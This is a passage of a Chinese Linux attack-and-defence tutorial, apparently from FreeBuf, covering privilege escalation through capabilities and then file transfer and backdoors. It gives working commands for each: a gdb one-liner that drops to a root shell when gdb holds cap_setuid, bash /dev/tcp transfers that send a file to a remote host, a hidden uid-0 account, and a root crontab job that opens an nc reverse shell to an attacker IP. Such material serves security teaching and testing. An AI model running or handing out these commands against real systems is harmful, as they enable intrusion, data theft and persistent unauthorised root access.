https://www.freebuf.com/articles/system/251182.html
capabilities的作用是提供一种与suid相比更细粒度的控制,在执行特权操作的时候,如果进程或线程的euid不是root,那么系统就检查该线程是否具有该特权操作对应的capability,如果具有,才能执行特权操作 。就像是把suid分成了很多份,需要的时候给你其中一份,其它份不给 。
例如,在安装wireshark软件后,默认情况下普通用户无法对网卡实施抓包操作 。这是因为普通用户不具备抓包操作的权限 。
wireshark给出的方法是,将当前用户加入wireshark组:

文章插图
但是也可以为wireshark的抓包程序/usr/bin/dumpcap授予用于抓包操作的capabilities 。授予权限之后之后普通用户就可以进行抓包操作了:
setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap

文章插图
【Linux系统安全攻防技术】例子:Linux系统(CentOS 7)通过带有capabilities的程序提权
//查找设置了capabilities的程序
getcap -r / 2>/dev/null

文章插图
首先要在系统中查找设置了capabilities的程序 。其中设置了cat_setuid的capability的程序存在提权的可能性 。常见的可以通过cap_setuid的capability提权的程序包括gdb、perl、Python、php、ruby、rvim、vim、tar等 。
//通过gdb提权
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

文章插图
提权成功,得到了root shell 。
(四)文件传输
1. 将文件上传到目标Linux
例子,使用下面的命令将文件从远程主机上传到目标Linux服务器:
第一步,远程主机创建测试文件并监听端口
echo "get by bash." > bash.sent
nc -l -p 12345 < bash.sent

文章插图
第二步,目标Linux服务器使用bash连接远程主机并获取文件
bash -c 'cat < /dev/tcp/192.168.43.237/12345 > bash.get'

文章插图
文件传输成功 。
2. 从目标Linux系统下载文件
例子,使用下面的命令将目标Linux系统的文件下载到远程主机:
第一步,远程主机监听12345端口
nc -l -p 12345 > bash.get
第二步,Linux服务器创建测试文件并使用bash将文件传输到远程主机
echo "sent by bash." > bash.sent
bash -c 'cat bash.sent > /dev/tcp/192.168.43.237/12345'

文章插图
第三步,远程主机查看接收到的文件

文章插图
文件传输成功 。
(五)木马后门
后门的种类很多,例如下面这些:
- uid为0的账户
- crontab后门
- ssh证书后门
- ssh服务后门
- ssh客户端后门
- systemd服务后门
https://www.freebuf.com/articles/system/259494.html
该文章介绍了一些Linux系统后门的创建方法 。
在本文档中,分别对uid为0的账户、crontab后门和ssh证书后门进行介绍 。
1. 创建uid为0的后门账户
//创建用户账户,指定账户的uid为0
useradd -o -u 0 hack1
//设置口令
passwd hack1

文章插图
首先在系统中创建一个后门账户,该账户的uid设置为0,也就是说,创建一个超级用户 。
注意,这个账户受到ssh服务配置的影响 。如果sshd_config文件中设置PermitRootLogin为no,那么,这个hack1用户是无法远程登录的,虽然他的用户名不是root 。
2. 创建crontab后门
//在被攻击机器上,以root身份编辑crontab
crontab -e -u root
*/1 * * * * /bin/nc -e /bin/bash 192.168.242.1 5555
保存退出
//攻击者监听本地端口,得到反弹shell
nc -l -p 5555
推荐阅读
- Linux 怎么修改最大文件打开数量?
- Linux经典面试题:网卡接收数据后,经过几次拷贝才能到用户进程
- 再生龙 使用Clonezilla克隆、恢复Linux系统
- 解读微服务下的契约测试——看微服务如何完整应用系统验证之道
- MIUI系统这几个实用功能,很多小米用户还不太了解,甚至没用过
- 复杂的安全环境里,华为应用市场如何给用户吃下“定心丸”?
- 老人便秘药粥验方11则
- 鸿蒙系统编程日记3-for/if语句
- linux kali安装docker报错Unable to locate package docker
- Linux下查找java进程耗用cpu最高的线程方法
